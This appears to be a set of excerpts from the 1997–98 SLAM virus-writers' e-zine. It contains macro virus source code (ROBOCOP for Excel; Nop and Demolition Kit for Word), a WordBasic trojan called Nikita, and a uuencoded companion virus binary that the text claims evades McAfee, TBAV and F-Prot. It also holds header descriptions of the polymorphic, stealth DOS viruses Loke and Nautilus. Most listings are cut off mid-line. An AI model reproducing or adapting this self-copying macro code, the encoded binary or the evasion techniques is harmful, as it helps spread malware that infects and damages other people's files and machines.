Slam

COMING SOON IN SLAM ISSUE 1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Note: That is not SLAM Issue 1. It should be only a "Happy new year Issue". Here a short list about the articles in SLAM Issue 1. ----->>>> Macro virus first info (based on the Concept virus) <<<<----- ----->>>> Payloads in macro virii (based on the Nuclear virus) <<<<----- ----->>>> Polymorphism in macro virii (based on the Outlaw virus) <<<<----- ----->>>> Different stealth techniques in macro virii <<<<----- ----->>>> The MooNRaiDer macro virus source code. <<<<...

[ ExcelMacro. ROBOCOP ]------------------------------------------------------------ ˛ VIRUSNAME: ROBOCOP ˛ ORIGIN: Germany ˛ AUTHOR: Nightmare Joker Yeah, I've written my first excel macro virus. Here is the source code. I hope you like it. Macroname: ROBOCOP ~~~~~~~~~~~~~~~~~~ Sub ROBOCOP() gp = 0 vp = 0 Set a = Application.ActiveWorkbook Application.ScreenUpdating = False For x = 1 To Application.Workbooks.Count If Application.Workbooks(x).Name = a.Name Then gp = 1 For y = 1 To Application.Workbooks(a.Name).Modules.Count If Application.Workbooks(a.Name).Modules(y).Name = "ROBO" Then vp = 1 End If Next If vp = 0 Then Windows(a.Name)...

[ Slam Companion ]-------------------------------------------- ˛ VIRUSNAME: SLAM ˛ SIZE: 6000 Bytes ˛ ORIGIN: Germany ˛ AUTHOR: Nightmare Joker It's a harmless companion virus, written in pascal. The virus shows every first March the Slam Logo and all Slam membaz. McAfee, TBAV and F-prot can't find it at the moment. ;-)) Use undecode to get it. --------Cut here---------------------------------------------- begin 644 slam.com M35IP`0P````"`&L/7A%<`@`#`````````````'1ZPP#I`0`:ZT[#`%1:UKFN MJ`<!)0!L`@@+`0`>%B,`'A8*`0``2@*NJ_7/80E'),9XK,=&6X6<C$$.GAP` M)0",`+1`NP(`BTP*BU0(`];-(;C_3,TAZ^J#[!"#Y."...

SLAM Member ~~~~~~~~~~~ Nightmare Joker ~~~~~~~~~~~~~~~ present's ~~~~~~~~~ The Demolition Kit source code! ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ That's the source code of the Win31 version. It works with every other version of word. There are only differences in the graphic display. ***************************************************************************** ***************************************************************************** Macroname: AutoOpen ~~~~~~~~~~~~~~~~~~~ Sub MAIN On Error Goto Nothing GanzerBildschirmUmschalten DokumentMinimieren DokumentMaximieren Again: Begin Dialog BenutzerDialog 320, 122, " " Text 47, 11, 211,...

[ WordMacro. Nikita ]------------------------------------------------------------ ˛ TROJANNAME: Nikita ˛ ORIGIN: Germany ˛ AUTHOR: Nightmare Joker This is a harmless Trojan Horse. It looks nicely and writes some shit to the HD. A big thankz to Crazy Vampire, who has send me this cool wordbasic graphic routine. Macroname: AutoOpen [from Crazy Vampire] ~~~~~~~~~~~~~~~~~~~ Sub MAIN On Error Goto Finish AF$ = UCase$(Right$(MacroFileName$(MacroName$(0)), 10)) If AF$ = "NORMAL.DOT" Then Goto BeginFun Else MacroCopy FileName$() + ":Fun", "Global:AutoOpen", 1 End If BeginFun: Verzîgerung = 800 ViewPage ToolsOptionsView .DraftFont = 0, .WrapToWin...

[ WordMacro. Nop ]------------------------------------------------------------ ˛ VIRUSNAME: Nop ˛ SIZE: 234 Bytes (2 macros) ˛ ORIGIN: Germany ˛ AUTHOR: maybe T.S.? ;-)) Here is the source code of the word macro Nop virus. Description ==> '.... Macroname: AutoOpen (will always activate if you open any file!) ~~~~~~~~~~~~~~~~~~~ 'macro start. Sub MAIN 'save all changes and the user see nothing. ToolsOptionsSave .GlobalDotPrompt = 0 'm$ means: active file + macro "NOP" m$ = FileName$() + ":NOP" 'Copy macro "NOP" to the file normal.dot with the new name "FileSaveAs". MacroCopy m$, "Global:FileSaveAs" 'm$ means now...

About SLAM Special Xx1997xX This is a special issue from [SLAM]. This issue contains some articles, ie. about macro viruses, Trojan Horses and macro virus construction kit's. In future issues we will include more excel and asm viren source codes, too. If you want to see any other things, send me a short e-mail or better your own article. We will include it then in our mag. MEMBERSHIP AND OTHER INFO ABOUT SLAM [SLAM] was founded by two persons, Neophyte and Nightmare Joker. My (Nightmare Joker) interest of viruses/trojan horses, and other "dangerous" things, started, when my compi would infected with the Cascade virus. This situat...

SLAM SPECIAL! Xx1997xX ~~~~~~~~ -*<$The SLAM virus team!$>*- In this SLAM magazine: SLAM.000 Index! SLAM.001 Some words about [SLAM] SLAM.002 Description of the NOP macro virus SLAM.003 The word macro Trojan Horse Nikita SLAM.004 Demolition Kit source code SLAM.005 Slam Companion virus SLAM.006 The excel macro virus ROBOCOP SLAM.007 Coming soon in SLAM Issue 1 Copyright and disclaimer: All the things off the above files may never be copied without giving credit to the author. Of course, everything is for resource only and I'm not responsible for anything done by this magazine :) Greetings to: all [SLAM] members, God@rky, DeathAn...

Comment * =-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=-=_=Ó=- Author : Yesna Group : SLAM Virus Name : Loke Version : 1.00 Origin : Denmark ----------------------- Overview : Loke is a TSR/.COM/.EXE/SFT Stealth/Dir Stealth/Tunnel/Poly virus. Target : Loke will infect .EXE/.COM when Int 21h/4Bh, Int 21h/56h and Int 21h/3Eh is being called. Loke will not infect files smaller then 5000 byte and it avoids Overlay and NewEXE files. Ressy method : Loke is able to use UMB memory. It will first search for UMB memory and allocate if found. If not it will use conventionel memory....

;------------------------------------------------------------------------------ ; NAUTILUS.ASM - The Nautilus Virus Source Code (c) '98 The Shaitan/SLAM ; ; To compile, use: ; TASM /m2 nautilus.asm ; TLINK nautilus.obj ; ; FEATURES: ; * Multi-OS Virus: DOS/Windoze/OS2 Warp infection ; * TSR + Direct infection of EXE/COM ; * Infection on exit (yes, not execute!) ; * Self-encrypting with 8-bit variable encryption ; * Stealth (can infect even F-PROT/TBAV/AVP etc without problems!) ; * And more... :) ; ; NOTE: ; The technique used by Nautilus has already been exploited by Casio [SLAM] ; and Jacky Qwerty [29A]....